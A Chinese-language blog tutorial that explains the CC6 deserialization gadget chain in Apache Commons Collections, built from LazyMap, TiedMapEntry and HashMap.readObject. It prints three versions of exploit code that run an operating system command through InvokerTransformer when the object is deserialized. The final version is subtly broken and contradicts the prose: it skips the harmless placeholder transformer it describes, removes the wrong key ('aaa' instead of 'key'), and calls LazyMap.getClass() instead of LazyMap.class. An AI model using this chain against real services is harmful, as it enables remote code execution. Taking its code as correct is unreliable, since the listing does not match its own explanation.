Java安全-CC链 | CC6
在 CC1 链的寻找中,查找 transform 的实现类时,我们用到的是 TransformedMap。实际上还有其余两个 Map:分别是 LazyMap 和DefaultMap。
CC6 链用到的就是 LazyMap。
我们打开 LazyMap, 先看一下它的 get 方法,里面调用了 transform:

Object value=this.factory,transform(key);

这里传的 这个 factory 是一个 Transformer。也就是说到时候我们把它的 factory 传成 ChainedTransformer。然后走进这个 if 里面就可以了。
if (!this.map.containsKey(key))
也就是我们要确保这个 LazyMap 里面没有这个 key。
普通的 Map 会这样:
normalMap.get("key");
这样 key 就存在了,就过不掉这层 if。
通过查阅资料可知,LazyMap(它是一个偷懒的 Map),在 new 出它的对象时,不会自动给你 get("key")。因此我们要让 this.map=LazyMap

恰好,在这个类的 decorate() 方法中,输入一个普通的 map,它给返回一个 LazyMap。
那我们就可以利用这个 decorate() 方法做到上面那点。

- 根据 ysoSerial 官方的链子,是
TiedMapEntry类中的getValue()方法调用了LazyMap的get()方法。


这里的逻辑还是很简单的,直接调用它的 getValue 方法即可,然后这个 getValue()会自己去调用它的 map.get(key) 方法。

目前的 exp:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
tiedMapEntry.getValue();
- 现在我们找找谁调用了
TiedMapEntry中的getValue()方法
我们找到了 hashCode() 这个方法,它调用了 getValue()

而HashMap.readObject() 有 putValue 中对key的hash,会触发hashCode方法


所以:

目前的 exp:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");
serialize(expMap);
unserialize("ser.bin");
- 不过这里有一个问题:
在构造利用链的过程中,HashMap.put 会立即触发 hashCode → TiedMapEntry.getValue → LazyMap.get → factory.transform,导致恶意代码在序列化之前就执行,破坏了我们想要的“只在反序列化时执行”的效果。
所以需要在开始, 破坏链子不能执行, 在序列化后, 通过反射修改恢复链子, 进而反序列化时可以成功执行
其中可以选择在利用decorate赋值的部分放入无用的Transformer:
Map<Object,Object> lazyMap=LazyMap.decorate(hashMap,new ConstantTransformer(1));
在之后通过反射修改 Transformer 的 factory 值:

- 最后发现Lazymap中的get方法中存在问题

可以分析下if这部分的逻辑, 他是会判断我们传进来的lazymap是否存在我们传入的key
所以在开始时进行put操作时走到这里会进入if内, 而此时的factory是我们放入的无用的Transformer,为了防止在序列化时执行命令,所以这里不会执行
但接下来进行的map.put操作会将此时的key放入lazymap,所以在接下来的反序列化操作时走到这里时, if部分就会检测到lazymap内存在key, 那么就不会进入if内部, 也就不会走到transform部分执行命令
- 所以现在的思路就很清晰了, 也就是只需要在我们进行
put操作后, 将赋给他的key删掉, 那么反序列化时再到if的判断部分就可以进去了, 也就可以执行命令了

最后的 exp:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");
lazyMap.remove("aaa");
Class c = LazyMap.getClass();
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);
serialize(expMap);
unserialize("ser.bin"); 更多推荐



所有评论(0)